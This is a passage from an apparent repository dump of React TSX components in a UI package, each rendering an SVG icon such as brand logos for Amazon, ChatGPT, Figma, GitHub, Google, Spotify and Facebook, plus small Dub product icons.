    "content": "import { SVGProps } from \"react\";\n\nexport function CrownSmall(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"13\"\n      height=\"14\"\n      fill=\"none\"\n      viewBox=\"0 0 13 14\"\n      {...props}\n    >\n      <path\n        fill=\"currentColor\"\n        stroke=\"currentColor\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.03\"\n        d=\"m9.748 9.402.396-4.275-1.91 1.933-1.73-3.146-1.73 3.146-2.18-1.933.667 4.275a.63.63 0 0 0 .617.512H9.13a.63.63 0 0 0 .619-.512\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/default-domains/amazon.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Amazon({ className }: { className?: string }) {\n  return (\n    <svg\n      className={cn(\"h-full w-full\", className)}\n      viewBox=\"0 0 222 222\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <circle cx=\"111\" cy=\"111\" r=\"111\" fill=\"url(#paint0_linear_39_35)\" />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M167.627 151.288C165.868 148.976 155.967 150.187 151.538 150.74C150.176 150.91 149.967 149.698 151.198 148.825C159.073 143.144 172.023 144.772 173.515 146.687C175.032 148.602 173.137 161.895 165.718 168.236C164.584 169.22 163.503 168.692 164.012 167.402C165.66 163.141 169.406 153.595 167.627 151.288ZM161.889 158.017C148.087 168.43 128.096 174 110.873 174C86.7384 174 65.0031 164.852 48.5549 149.615C47.2658 148.423 48.424 146.794 49.9749 147.72C67.7121 158.308 89.6704 164.668 112.331 164.668C127.607 164.668 144.438 161.43 159.888 154.686C162.233 153.683 164.186 156.257 161.894 158.002M120.018 102.131C120.018 108.758 120.187 114.27 116.989 120.141C114.415 124.911 110.325 127.849 105.765 127.849C99.5374 127.849 95.9221 122.889 95.9221 115.559C95.9221 101.093 108.304 98.4611 120.022 98.4611L120.022 102.136M136.379 143.493C135.317 144.496 133.766 144.574 132.555 143.91C127.18 139.231 126.211 137.055 123.24 132.585C114.343 142.092 108.057 144.932 96.5085 144.932C82.8614 144.932 72.2288 136.129 72.2288 118.497C72.2288 104.729 79.3673 95.3391 89.5105 90.753C98.2967 86.7002 110.601 85.9828 120.008 84.863L120.008 82.6669C120.008 78.6335 120.313 73.8632 118.06 70.3776C116.073 67.2508 112.288 65.9661 108.954 65.9661C102.765 65.9661 97.2548 69.2819 95.9124 76.1562C95.6265 77.6881 94.57 79.1861 93.0919 79.2637L77.361 77.5039C76.0379 77.1839 74.5792 76.0641 74.9379 73.9456C78.5725 54.0258 95.8009 48 111.207 48C119.102 48 129.419 50.1961 135.632 56.4449C143.527 64.153 142.771 74.4352 142.771 85.6289L142.771 112.064C142.771 120.019 145.911 123.5 148.887 127.8C149.929 129.318 150.156 131.169 148.848 132.309C145.533 135.227 139.65 140.564 136.412 143.575L136.354 143.517\"\n        fill=\"url(#paint1_radial_39_35)\"\n      />\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_39_35\"\n          x1=\"0\"\n          y1=\"0\"\n          x2=\"222\"\n          y2=\"222\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#FF9900\" />\n          <stop offset=\"0.5\" stopColor=\"#FF9900\" />\n          <stop offset=\"1\" stopColor=\"#EA580C\" />\n        </linearGradient>\n        <radialGradient\n          id=\"paint1_radial_39_35\"\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientUnits=\"userSpaceOnUse\"\n          gradientTransform=\"translate(48 48) rotate(45) scale(178.191 178.229)\"\n        >\n          <stop stopColor=\"white\" />\n          <stop offset=\"1\" stopColor=\"white\" stopOpacity=\"0.5\" />\n        </radialGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/default-domains/chatgpt.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function ChatGPT({ className }: { className?: string }) {\n  return (\n    <svg\n      className={cn(\"h-full w-full\", className)}\n      viewBox=\"0 0 222 222\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <circle cx=\"111\" cy=\"111\" r=\"111\" fill=\"black\" />\n      <path\n        d=\"M173.607 97.7454C176.886 87.8002 175.751 76.9142 170.492 67.8719C162.584 54.0098 146.691 46.8792 131.17 50.2298C122.423 40.4311 109.151 36.0738 96.3504 38.7981C83.5497 41.5224 73.1632 50.9148 69.1005 63.4398C58.9049 65.5455 50.1051 71.9745 44.9529 81.0819C36.9593 94.9215 38.7736 112.379 49.4395 124.252C46.1479 134.192 47.2727 145.08 52.5258 154.125C60.4432 167.992 76.3466 175.122 91.8764 171.767C98.784 179.601 108.708 184.058 119.11 183.999C135.02 184.014 149.114 173.67 153.974 158.414C164.168 156.304 172.967 149.876 178.122 140.771C186.019 126.956 184.197 109.593 173.607 97.7454ZM119.11 174.444C112.76 174.454 106.609 172.213 101.735 168.112L102.593 167.623L131.456 150.844C132.917 149.981 133.818 148.406 133.827 146.7V105.717L146.03 112.826C146.152 112.889 146.237 113.006 146.258 113.143V147.103C146.227 162.19 134.091 174.412 119.11 174.444ZM60.756 149.348C57.5714 143.81 56.428 137.318 57.5268 131.015L58.3841 131.533L87.2755 148.312C88.7311 149.172 90.535 149.172 91.9907 148.312L127.283 127.82V142.009C127.277 142.158 127.203 142.296 127.083 142.383L97.849 159.363C84.8581 166.9 68.2607 162.419 60.756 149.348ZM53.1545 86.032C56.3612 80.4583 61.4227 76.207 67.443 74.0308V108.567C67.4209 110.266 68.3188 111.843 69.7863 112.682L104.907 133.087L92.7051 140.196C92.5711 140.267 92.4105 140.267 92.2764 140.196L63.0993 123.244C50.134 115.676 45.6875 98.9734 53.1545 85.8881V86.032ZM153.403 109.488L118.167 88.8812L130.341 81.8013C130.475 81.7297 130.636 81.7297 130.77 81.8013L159.947 98.7815C169.053 104.074 174.307 114.185 173.432 124.737C172.557 135.289 165.712 144.383 155.86 148.082V113.546C155.809 111.851 154.875 110.309 153.403 109.488ZM165.548 91.0973L164.691 90.5792L135.856 73.6566C134.392 72.7912 132.577 72.7912 131.113 73.6566L95.8486 94.1479V79.9594C95.8333 79.8125 95.8991 79.6689 96.02 79.5853L125.197 62.6339C134.326 57.3376 145.672 57.8319 154.312 63.9022C162.953 69.9726 167.331 80.5253 165.548 90.9821V91.0973ZM89.1901 116.251L76.9877 109.171C76.8644 109.096 76.7807 108.969 76.7591 108.826V74.9517C76.773 64.3439 82.8721 54.6994 92.4112 50.201C101.95 45.7026 113.211 47.1605 121.311 53.9424L120.453 54.4316L91.5906 71.2103C90.1293 72.0736 89.2279 73.6485 89.2187 75.3546L89.1901 116.251ZM95.82 101.861L111.537 92.7377L127.283 101.861V120.107L111.595 129.231L95.8486 120.107L95.82 101.861Z\"\n        fill=\"url(#paint0_radial_39_26)\"\n      />\n      <defs>\n        <radialGradient\n          id=\"paint0_radial_39_26\"\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientUnits=\"userSpaceOnUse\"\n          gradientTransform=\"translate(40 38) rotate(45.5947) scale(204.365 204.365)\"\n        >\n          <stop stopColor=\"white\" stopOpacity=\"0.85\" />\n          <stop offset=\"1\" stopColor=\"white\" stopOpacity=\"0.1\" />\n        </radialGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/default-domains/figma.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Figma({ className }: { className?: string }) {\n  return (\n    <svg\n      className={cn(\"h-full w-full\", className)}\n      viewBox=\"0 0 222 222\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <circle cx=\"111\" cy=\"111\" r=\"111\" fill=\"url(#paint0_radial_8328_50)\" />\n      <g clipPath=\"url(#clip0_8328_50)\">\n        <path\n          d=\"M85.0053 196C99.3544 196 111 184.352 111 170V144H85.0053C70.6562 144 59.0105 155.648 59.0105 170C59.0105 184.352 70.6562 196 85.0053 196Z\"\n          fill=\"#0ACF83\"\n        />\n        <path\n          d=\"M59.0105 118C59.0105 103.648 70.6562 92 85.0053 92H111V144H85.0053C70.6562 144 59.0105 132.352 59.0105 118Z\"\n          fill=\"#A259FF\"\n        />\n        <path\n          d=\"M59.0103 66C59.0103 51.648 70.6559 40 85.0051 40H111V92H85.0051C70.6559 92 59.0103 80.352 59.0103 66Z\"\n          fill=\"#F24E1E\"\n        />\n        <path\n          d=\"M111 40H136.995C151.344 40 162.99 51.648 162.99 66C162.99 80.352 151.344 92 136.995 92H111V40Z\"\n          fill=\"#FF7262\"\n        />\n        <path\n          d=\"M162.99 118C162.99 132.352 151.344 144 136.995 144C122.646 144 111 132.352 111 118C111 103.648 122.646 92 136.995 92C151.344 92 162.99 103.648 162.99 118Z\"\n          fill=\"#1ABCFE\"\n        />\n      </g>\n      <defs>\n        <radialGradient\n          id=\"paint0_radial_8328_50\"\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientUnits=\"userSpaceOnUse\"\n          gradientTransform=\"translate(226.5 207.5) rotate(-140.591) scale(286.681)\"\n        >\n          <stop stopColor=\"white\" />\n          <stop offset=\"0.5\" stopColor=\"white\" />\n          <stop offset=\"1\" stopColor=\"#E8E8E8\" />\n        </radialGradient>\n        <clipPath id=\"clip0_8328_50\">\n          <rect\n            width=\"104\"\n            height=\"156\"\n            fill=\"white\"\n            transform=\"translate(59 40)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/default-domains/github-enhanced.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function GitHubEnhanced({ className }: { className?: string }) {\n  return (\n    <svg\n      className={cn(\"h-full w-full\", className)}\n      viewBox=\"0 0 222 222\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <circle cx=\"111\" cy=\"111\" r=\"111\" fill=\"#0D1117\" />\n      <path\n        d=\"M111.001 44C72.8976 44 42 74.7556 42 112.696C42 143.048 61.7708 168.798 89.1868 177.882C92.6352 178.518 93.9013 176.392 93.9013 174.577C93.9013 172.939 93.8373 167.528 93.8076 161.787C74.6115 165.943 70.5609 153.682 70.5609 153.682C67.4222 145.742 62.8997 143.63 62.8997 143.63C56.6393 139.367 63.3716 139.454 63.3716 139.454C70.3004 139.939 73.9488 146.534 73.9488 146.534C80.103 157.036 90.0906 154 94.0281 152.244C94.6474 147.804 96.4356 144.774 98.4089 143.058C83.0829 141.321 66.972 135.431 66.972 109.108C66.972 101.608 69.6674 95.4801 74.0814 90.6693C73.3649 88.939 71.0031 81.952 74.7498 72.4896C74.7498 72.4896 80.544 70.6433 93.7299 79.5312C99.2339 78.0091 105.137 77.2458 111.001 77.2196C116.864 77.2458 122.772 78.0091 128.286 79.5312C141.456 70.6433 147.242 72.4896 147.242 72.4896C150.998 81.952 148.635 88.939 147.919 90.6693C152.343 95.4801 155.02 101.608 155.02 109.108C155.02 135.493 138.878 141.303 123.513 143.004C125.988 145.136 128.194 149.316 128.194 155.725C128.194 164.917 128.114 172.315 128.114 174.577C128.114 176.405 129.356 178.547 132.853 177.873C160.254 168.779 180 143.038 180 112.696C180 74.7556 149.107 44 111.001 44ZM67.843 141.859C67.691 142.201 67.1517 142.303 66.6603 142.069C66.1599 141.844 65.8788 141.379 66.041 141.037C66.1896 140.685 66.73 140.587 67.2294 140.823C67.731 141.047 68.0166 141.517 67.843 141.859ZM71.237 144.874C70.9079 145.178 70.2646 145.037 69.8282 144.557C69.3768 144.078 69.2923 143.438 69.6259 143.129C69.9653 142.826 70.5892 142.968 71.0416 143.447C71.493 143.931 71.5809 144.567 71.237 144.874ZM73.5655 148.732C73.1427 149.024 72.4514 148.75 72.0241 148.139C71.6013 147.529 71.6013 146.796 72.0332 146.502C72.4617 146.209 73.1427 146.473 73.5758 147.079C73.9974 147.7 73.9974 148.433 73.5655 148.732ZM77.5034 153.2C77.1252 153.615 76.3196 153.504 75.73 152.937C75.1267 152.383 74.9588 151.597 75.3381 151.182C75.7209 150.766 76.531 150.883 77.1252 151.445C77.7239 151.998 77.9067 152.789 77.5034 153.2ZM82.5928 154.708C82.4259 155.246 81.6501 155.491 80.8685 155.262C80.0881 155.027 79.5774 154.397 79.7351 153.853C79.8973 153.311 80.6766 153.056 81.4639 153.301C82.2431 153.535 82.755 154.161 82.5928 154.708ZM88.3847 155.348C88.4041 155.915 87.7414 156.384 86.921 156.395C86.096 156.413 85.4287 155.954 85.4196 155.397C85.4196 154.825 86.0674 154.359 86.8924 154.346C87.7128 154.33 88.3847 154.785 88.3847 155.348ZM94.0746 155.131C94.1729 155.684 93.6027 156.251 92.788 156.403C91.987 156.548 91.2455 156.207 91.1438 155.659C91.0444 155.092 91.6248 154.525 92.4247 154.378C93.2405 154.237 93.9706 154.569 94.0746 155.131Z\"\n        fill=\"url(#paint0_radial_39_32)\"\n      />\n      <defs>\n        <radialGradient\n          id=\"paint0_radial_39_32\"\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientUnits=\"userSpaceOnUse\"\n          gradientTransform=\"translate(42 44) rotate(44.1575) scale(192.354 192.312)\"\n        >\n          <stop stopColor=\"white\" stopOpacity=\"0.77\" />\n          <stop offset=\"1\" stopColor=\"white\" stopOpacity=\"0.1\" />\n        </radialGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/default-domains/google-enhanced.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function GoogleEnhanced({ className }: { className?: string }) {\n  return (\n    <svg\n      className={cn(\"h-full w-full\", className)}\n      viewBox=\"0 0 222 222\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <circle cx=\"111\" cy=\"111\" r=\"111\" fill=\"url(#paint0_radial_8357_120)\" />\n      <path\n        d=\"M182.248 111.875C182.248 105.853 181.76 101.458 180.702 96.9003H111.931V124.083H152.298C151.484 130.838 147.089 141.011 137.323 147.848L137.186 148.758L158.93 165.603L160.437 165.753C174.272 152.975 182.248 134.175 182.248 111.875Z\"\n        fill=\"url(#paint1_linear_8357_120)\"\n      />\n      <path\n        d=\"M111.931 183.495C131.707 183.495 148.31 176.984 160.437 165.753L137.323 147.848C131.138 152.161 122.836 155.172 111.931 155.172C92.561 155.172 76.1211 142.395 70.2607 124.734L69.4017 124.807L46.7918 142.305L46.4961 143.127C58.5411 167.055 83.2826 183.495 111.931 183.495Z\"\n        fill=\"url(#paint2_linear_8357_120)\"\n      />\n      <path\n        d=\"M70.2606 124.734C68.7143 120.177 67.8194 115.293 67.8194 110.248C67.8194 105.201 68.7143 100.318 70.1793 95.7607L70.1383 94.7901L47.245 77.0109L46.496 77.3672C41.5317 87.2964 38.6831 98.4466 38.6831 110.248C38.6831 122.048 41.5317 133.198 46.496 143.127L70.2606 124.734Z\"\n        fill=\"url(#paint3_linear_8357_120)\"\n      />\n      <path\n        d=\"M111.931 65.3222C125.685 65.3222 134.963 71.2633 140.253 76.2282L160.925 56.0444C148.229 44.2434 131.707 37 111.931 37C83.2826 37 58.5411 53.4399 46.4961 77.3672L70.1794 95.7607C76.1211 78.1 92.561 65.3222 111.931 65.3222Z\"\n        fill=\"url(#paint4_linear_8357_120)\"\n      />\n      <defs>\n        <radialGradient\n          id=\"paint0_radial_8357_120\"\n          cx=\"0\"\n          cy=\"0\"\n          r=\"1\"\n          gradientUnits=\"userSpaceOnUse\"\n          gradientTransform=\"translate(226.5 207.5) rotate(-140.591) scale(286.681)\"\n        >\n          <stop stop-color=\"white\" />\n          <stop offset=\"0.5\" stop-color=\"white\" />\n          <stop offset=\"1\" stop-color=\"#E8E8E8\" />\n        </radialGradient>\n        <linearGradient\n          id=\"paint1_linear_8357_120\"\n          x1=\"176.5\"\n          y1=\"148.5\"\n          x2=\"112\"\n          y2=\"97\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stop-color=\"#76A7F9\" />\n          <stop offset=\"1\" stop-color=\"#4285F4\" />\n        </linearGradient>\n        <linearGradient\n          id=\"paint2_linear_8357_120\"\n          x1=\"38.5\"\n          y1=\"164.5\"\n          x2=\"160\"\n          y2=\"175\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stop-color=\"#34A853\" />\n          <stop offset=\"1\" stop-color=\"#8DFBAA\" />\n        </linearGradient>\n        <linearGradient\n          id=\"paint3_linear_8357_120\"\n          x1=\"81\"\n          y1=\"115\"\n          x2=\"35.9999\"\n          y2=\"110\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stop-color=\"#FFE28F\" />\n          <stop offset=\"1\" stop-color=\"#FBBC05\" />\n        </linearGradient>\n        <linearGradient\n          id=\"paint4_linear_8357_120\"\n          x1=\"117.5\"\n          y1=\"84\"\n          x2=\"78\"\n          y2=\"45.5\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stop-color=\"#FF968D\" />\n          <stop offset=\"1\" stop-color=\"#EB4335\" />\n        </linearGradient>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/default-domains/spotify.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function Spotify({ className }: { className?: string }) {\n  return (\n    <svg\n      className={cn(\"h-full w-full\", className)}\n      viewBox=\"0 0 222 222\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <path\n        d=\"M110.999 0C49.6974 0 0 49.6973 0 111.001C0 172.307 49.6974 222 110.999 222C172.308 222 222 172.307 222 111.001C222 49.7012 172.308 0.00530203 110.998 0.00530203L110.999 0ZM161.903 160.095C159.915 163.356 155.647 164.389 152.386 162.388C126.324 146.469 93.5163 142.863 54.8787 151.691C51.1554 152.539 47.4441 150.207 46.5958 146.482C45.7435 142.757 48.0671 139.046 51.7996 138.197C94.0823 128.537 130.351 132.697 159.61 150.578C162.871 152.579 163.904 156.834 161.903 160.095ZM175.489 129.871C172.984 133.943 167.655 135.228 163.586 132.723C133.75 114.383 88.2687 109.072 52.9779 119.785C48.4011 121.167 43.5671 118.588 42.178 114.019C40.7995 109.442 43.3802 104.617 47.9491 103.225C88.2608 90.9935 138.376 96.9185 172.639 117.974C176.708 120.479 177.994 125.808 175.489 129.872V129.871ZM176.655 98.3977C140.881 77.1485 81.8574 75.1947 47.7012 85.5615C42.2164 87.225 36.4161 84.1286 34.754 78.6437C33.0918 73.1561 36.1855 67.3596 41.6743 65.6922C80.8832 53.7891 146.063 56.0889 187.251 80.5405C192.195 83.4685 193.812 89.8403 190.883 94.7672C187.967 99.7007 181.578 101.327 176.661 98.3977H176.655Z\"\n        fill=\"#1ED760\"\n      />\n      <path\n        d=\"M161.903 160.095C159.915 163.356 155.647 164.389 152.386 162.388C126.325 146.469 93.5164 142.863 54.8788 151.691C51.1556 152.539 47.4442 150.207 46.5959 146.482C45.7436 142.757 48.0672 139.046 51.7997 138.197C94.0824 128.537 130.351 132.697 159.61 150.578C162.871 152.579 163.905 156.834 161.903 160.095ZM175.489 129.871C172.984 133.943 167.656 135.228 163.586 132.723C133.75 114.383 88.2689 109.072 52.9781 119.785C48.4012 121.167 43.5672 118.588 42.1781 114.019C40.7996 109.442 43.3803 104.617 47.9492 103.225C88.2609 90.9934 138.376 96.9184 172.639 117.974C176.709 120.479 177.994 125.808 175.489 129.872V129.871ZM176.656 98.3977C140.881 77.1485 81.8576 75.1947 47.7014 85.5615C42.2165 87.225 36.4163 84.1286 34.7541 78.6437C33.092 73.1561 36.1856 67.3596 41.6744 65.6921C80.8833 53.7891 146.064 56.0888 187.251 80.5405C192.195 83.4685 193.813 89.8402 190.883 94.7672C187.967 99.7007 181.578 101.327 176.661 98.3977H176.656Z\"\n        fill=\"white\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/dub-analytics.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function DubAnalyticsIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"10\"\n      height=\"10\"\n      fill=\"none\"\n      viewBox=\"0 0 10 10\"\n      {...props}\n    >\n      <path\n        stroke=\"currentColor\"\n        strokeLinecap=\"round\"\n        strokeWidth=\"3.333\"\n        d=\"M2.333 6.333v2M7.667 1.667v6.666\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/dub-api.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function DubApiIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"12\"\n      height=\"12\"\n      fill=\"none\"\n      viewBox=\"0 0 12 12\"\n      {...props}\n    >\n      <path\n        fill=\"currentColor\"\n        d=\"M7.311 2.624a1.126 1.126 0 0 1 1.506-.077l.086.077 1.519 1.52.18.199a2.626 2.626 0 0 1-.18 3.514L8.903 9.375l-.086.078a1.126 1.126 0 0 1-1.506-1.669l1.52-1.52.048-.058a.38.38 0 0 0 0-.412l-.048-.06-1.52-1.518-.077-.086a1.126 1.126 0 0 1 .077-1.506M3.183 2.547A1.126 1.126 0 0 1 4.766 4.13l-.078.086-1.52 1.519a.375.375 0 0 0 0 .53l1.52 1.52.078.085a1.125 1.125 0 0 1-1.583 1.583l-.086-.078-1.519-1.518a2.626 2.626 0 0 1 0-3.713l1.519-1.52z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/dub-crafted-shield.tsx",
    "content": "import { useId } from \"react\";\n\nimport { cn } from \"@dub/utils\";\nimport { SVGProps } from \"react\";\n\nexport function DubCraftedShield(props: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 15 15\"\n      {...props}\n      className={cn(\n        \"overflow-visible drop-shadow-[0_1px_1px_#0004]\",\n        props.className,\n      )}\n    >\n      <clipPath id={`${id}-b`}>\n        <path d=\"M12.5601 2.05233L7.96637 0.573606C7.661 0.475025 7.33812 0.475905 7.03363 0.573606L2.439 2.05233C1.802 2.25741 1.375 2.84714 1.375 3.51961V9.25846C1.375 12.3462 5.70275 13.993 7.0275 14.4243C7.18238 14.4745 7.34075 14.5 7.5 14.5C7.65925 14.5 7.81675 14.4754 7.97075 14.4252C9.29725 13.9939 13.625 12.3471 13.625 9.25934V3.51961C13.625 2.84714 13.1971 2.25741 12.5601 2.05233Z\" />\n      </clipPath>\n      <foreignObject width=\"15\" height=\"15\" clipPath={`url(#${id}-b)`}>\n        <div\n          //xmlns=\"http://www.w3.org/1999/xhtml\"\n          style={{\n            width: \"100%\",\n            height: \"100%\",\n            background:\n              \"conic-gradient(from 133.51deg at 47.16% 50.83%,#cfa165 0deg,#94704c 18.69deg,#684d32 59.15deg,#c28e52 103.09deg,#b68451 134.47deg,#f6deae 209.24deg,#e2b87c 269.62deg,#956d4a 298.95deg,#ac7d53 327.51deg,#cfa165 360deg)\",\n          }}\n        ></div>\n      </foreignObject>\n      <g filter={`url(#${id}-c)`}>\n        <path\n          d=\"M5.3125 7.35417L6.91667 8.8125L10.4167 5.3125\"\n          stroke=\"white\"\n          strokeWidth=\"1.45833\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <defs>\n        <filter\n          id={`${id}-c`}\n          x=\"3.70831\"\n          y=\"4.14575\"\n          width=\"8.31253\"\n          height=\"6.7085\"\n          filterUnits=\"userSpaceOnUse\"\n          colorInterpolationFilters=\"sRGB\"\n        >\n          <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\" />\n          <feColorMatrix\n            in=\"SourceAlpha\"\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 127 0\"\n            result=\"hardAlpha\"\n          />\n          <feOffset dy=\"0.4375\" />\n          <feGaussianBlur stdDeviation=\"0.4375\" />\n          <feComposite in2=\"hardAlpha\" operator=\"out\" />\n          <feColorMatrix\n            type=\"matrix\"\n            values=\"0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0.25 0\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in2=\"BackgroundImageFix\"\n            result=\"effect1_dropShadow_10_100\"\n          />\n          <feBlend\n            mode=\"normal\"\n            in=\"SourceGraphic\"\n            in2=\"effect1_dropShadow_10_100\"\n            result=\"shape\"\n          />\n        </filter>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/dub-links.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function DubLinksIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"11\"\n      height=\"10\"\n      fill=\"none\"\n      viewBox=\"0 0 11 10\"\n      {...props}\n    >\n      <path\n        stroke=\"currentColor\"\n        strokeLinecap=\"round\"\n        strokeWidth=\"3.333\"\n        d=\"M5.5 5.667v-4M5.5 5.667l-3.333 2M5.5 5.667l3.333 2\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/dub-partners.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function DubPartnersIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"32\"\n      height=\"32\"\n      fill=\"none\"\n      viewBox=\"0 0 32 32\"\n      {...props}\n    >\n      <circle cx=\"27\" cy=\"16\" r=\"5\" fill=\"currentColor\" />\n      <circle cx=\"5\" cy=\"16\" r=\"5\" fill=\"currentColor\" />\n      <circle cx=\"16\" cy=\"27\" r=\"5\" fill=\"currentColor\" />\n      <circle cx=\"16\" cy=\"5\" r=\"5\" fill=\"currentColor\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/dub-product-icon.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport { DubAnalyticsIcon } from \"./dub-analytics\";\nimport { DubApiIcon } from \"./dub-api\";\nimport { DubLinksIcon } from \"./dub-links\";\nimport { DubPartnersIcon } from \"./dub-partners\";\n\nconst icons = {\n  links: {\n    icon: DubLinksIcon,\n    className: \"text-orange-900 bg-orange-400\",\n  },\n  analytics: {\n    icon: DubAnalyticsIcon,\n    className: \"text-green-900 bg-green-400\",\n  },\n  partners: {\n    icon: DubPartnersIcon,\n    className: \"text-purple-900 bg-purple-400\",\n  },\n  api: {\n    icon: DubApiIcon,\n    className: \"text-neutral-900 bg-neutral-400\",\n  },\n};\n\nexport type DubProduct = keyof typeof icons;\n\nexport function DubProductIcon({\n  product,\n  className,\n  iconClassName,\n}: {\n  product: keyof typeof icons;\n  className?: string;\n  iconClassName?: string;\n}) {\n  const { icon: Icon, className: productClassName } = icons[product];\n\n  return (\n    <span\n      className={cn(\n        \"flex size-4 items-center justify-center rounded border border-black/5\",\n        productClassName,\n        className,\n      )}\n    >\n      <Icon className={cn(\"size-2.5\", iconClassName)} />\n    </span>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/expanding-arrow.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function ExpandingArrow({ className }: { className?: string }) {\n  return (\n    <div className=\"group relative flex items-center\">\n      <svg\n        className={cn(\n          \"absolute h-4 w-4 transition-all group-hover:translate-x-1 group-hover:opacity-0\",\n          className,\n        )}\n        xmlns=\"http://www.w3.org/2000/svg\"\n        fill=\"currentColor\"\n        viewBox=\"0 0 16 16\"\n        width=\"16\"\n        height=\"16\"\n      >\n        <path\n          fillRule=\"evenodd\"\n          d=\"M6.22 3.22a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06L9.94 8 6.22 4.28a.75.75 0 010-1.06z\"\n        ></path>\n      </svg>\n      <svg\n        className={`${\n          className ? className : \"h-4 w-4\"\n        } absolute opacity-0 transition-all group-hover:translate-x-1 group-hover:opacity-100`}\n        xmlns=\"http://www.w3.org/2000/svg\"\n        fill=\"currentColor\"\n        viewBox=\"0 0 16 16\"\n        width=\"16\"\n        height=\"16\"\n      >\n        <path\n          fillRule=\"evenodd\"\n          d=\"M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z\"\n        ></path>\n      </svg>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/facebook.tsx",
    "content": "export function Facebook({\n  className,\n  fill = \"#1977f3\",\n}: {\n  className?: string;\n  fill?: string;\n}) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"1365.12\"\n      height=\"1365.12\"\n      viewBox=\"0 0 14222 14222\"\n      className={className}\n    >\n      <circle cx=\"7111\" cy=\"7112\" r=\"7111\" fill={fill} />\n      <path\n        d=\"M9879 9168l315-2056H8222V5778c0-562 275-1111 1159-1111h897V2917s-814-139-1592-139c-1624 0-2686 984-2686 2767v1567H4194v2056h1806v4969c362 57 733 86 1111 86s749-30 1111-86V9168z\"\n        fill=\"#fff\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/file-pen.tsx",
